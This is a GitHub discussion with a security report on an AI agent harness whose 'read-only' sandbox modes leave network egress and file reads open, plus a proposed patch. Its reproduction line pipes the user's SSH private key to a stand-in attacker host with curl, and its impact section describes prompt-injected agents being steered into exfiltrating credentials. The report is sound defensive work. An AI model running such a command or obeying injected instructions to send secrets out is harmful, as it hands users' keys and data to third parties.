Repository navigation
Replies: 2 comments
|
Good catch. FYI this exact exfil path is already covered by dsh-tm-guard (npm: It hooks
Worth a look if you want the native sandbox gap closed for your setup. |
|
Thanks β worth separating the layers, because these are complements rather than substitutes. The report is about enforcement: under A Where they differ is the case where the network act is not in the tool call at all β a script the command merely starts, or I/O from a process the harness never dispatched. A gate sees the request; the sandbox sees the syscall. Both layers are wanted. |
Uh oh!
There was an error while loading. Please reload this page.
Uh oh!
There was an error while loading. Please reload this page.
Sandbox modes named
read-only/workspace-writedo not restrict network egressComponent:
packages/sandbox/*Β· Version:dsh-v0.2.0-rc.2(639ed0153) Β· Platform: macOS, LinuxSummary
A confined DSH session can read any file the user can read and send it anywhere.
read-onlyandworkspace-writegovern file writes only; network egress and file reads are unrestricted. Aprompt-injected agent therefore has a direct exfiltration path, and the mode name suggests the
opposite.
The project already knows this and has left the decision open by design, so this is an offer to
implement it, not an argument about intent.
Reproduction
In any session under the standing
read-onlypolicy:curl -d @$HOME/.ssh/id_rsa https://attacker.exampleThe command succeeds. So does
nc,wget, or any language runtime opening a socket.Evidence
The mode vocabulary states it (
packages/sandbox/sandbox/src/index.ts:24-30):The macOS profile grants everything it does not explicitly deny, and it denies only writes
(
packages/sandbox/sandbox-local/src/profiles.ts:52):Linux never enters a private network namespace.
bwrapProfileArgspasses--unshare-pidforprocesses but nothing for the network (
profiles.ts:17). A grep forunshare-net|network_access|deny networkacrosspackages/sandbox/andnative/system/returns nohits. Landlock grants are file-only by construction.
Where the project already stands
The design notes name this as an open question awaiting exactly this change
(
.agents/notes/implemented/feature/2026-07-06-sandbox.md:196):And Β§ The seam states the open decision directly:
The companion note is stricter still, and rules out the cheap version of this fix
(
2026-07-14-cross-family-fs-sandbox.md:56):That is the right call, and the patch below honours it. The fence goes on the confined process,
so it catches
curl, a language runtime, and every descendant. Putting it on one tool would onlycover today's obvious exfiltration path.
Impact
Reads and egress are the two halves of exfiltration, and the current fence covers neither. A
confined agent that reads a hostile issue, a dependency README, or a fetched web page can be steered
into sending the user's credentials, source, or SSH keys to a third party, and no DSH layer
intervenes.
workspace-writeis the shipped default for real work, so this is the common path, notan edge case.
Two things make it worse than it looks:
read-onlyreasonably concludes the agent cannotcause harm outside the workspace. The actual guarantee is narrower than the name.
(
packages/interaction/permission-presets/src/index.ts), or the runtime context the model seesmentions that reads and egress are unrestricted.
Proposed fix
A
networkaxis on the policy, defaulting to deny under every confining mode, enforced where abackend can express it and reported honestly where it cannot. This takes the "separate knob" option
from Β§ The seam instead of merging into
sandbox_mode. The two axes have different enforceabilityper backend, and merging them would force one completeness verdict onto both.
A patch against
639ed0153is below. The enforcement itself is one flag and one clause:sandbox/src/index.tsnetwork?: 'deny' | 'allow'onSandboxExecutionPolicy;networkEnforcementonConfinedArgvsandbox-local/src/profiles.ts--unshare-net. Seatbelt:(deny network*)sandbox-local/src/index.tsnetworkEnforcement; warn when a selected rung cannot enforce the denyssh/sandbox-ssh/src/index.tsDesign notes:
call site gets the restriction without being changed.
networkEnforcementis separate fromenforcement. The seam doc definesenforcementas thecompleteness the backend achieves for the policy's file effects. Landlock governs every file
effect and cannot touch the network, so reusing the field would make it report
fullfor a fenceit does not have.
partial, not silent. Landlock is filesystem-only, and the windows-acl restrictedtoken does not govern sockets. Both report
partial, andconfine()logs a warning when a policydenies network but the selected rung cannot enforce it. On a host whose only rung cannot enforce,
the user finds out. They don't have to infer it.
sandbox-exec:is a registered runner-failuresignature (
sandbox-local/src/index.ts:240), so a profile the kernel rejects is classified asrunner failure and the command never runs.
network: 'allow'restores current behaviour for workflows that need a packageinstall or a fetch. An operator-configured
runnerCommandis wrapped with the bwrap profile, so itcarries the flag too; whether it honours the flag is the operator's assertion, exactly as for file
effects.
The patch also adds an opt-out test to
local.spec.ts, plus end-to-end tests inseatbelt.e2e.tsand
bwrap.e2e.ts. Those assert the world effect: the connection fails under the default, and thesame command succeeds under
'allow'. Reading the profile string back would pass even if the kernelignored it.
The patch
What is verified and what is not
I want to be precise here. A fence that is assumed instead of tested is worse than none:
profiles.tsdirectly(11 assertions: default deny in both profiles,
'allow'omits it, file mounts unaffected, theSeatbelt profile still forms one parseable
-pargument).(deny network*)in practice, and that--unshare-netbehaves as expected. Both need a host where the sandbox can actually be applied.A nested sandbox cannot. The added e2e tests are written to cover exactly this and will run in CI
or on any macOS host.
Two follow-ups worth considering alongside
read-onlyandworkspace-writerestrict writes only, and that reads and network areunrestricted. Right now the only way to learn this is to read the sandbox source.
networkEnforcementcurrently stops at the provider. Carryingit into the tool result's existing
sandboxfacts would let the model know when its confinementis weaker than the mode implies.
Related
danger-full-accessis unaffected, as intended.left reporting
partialinstead of claiming a fence it does not have.All reactions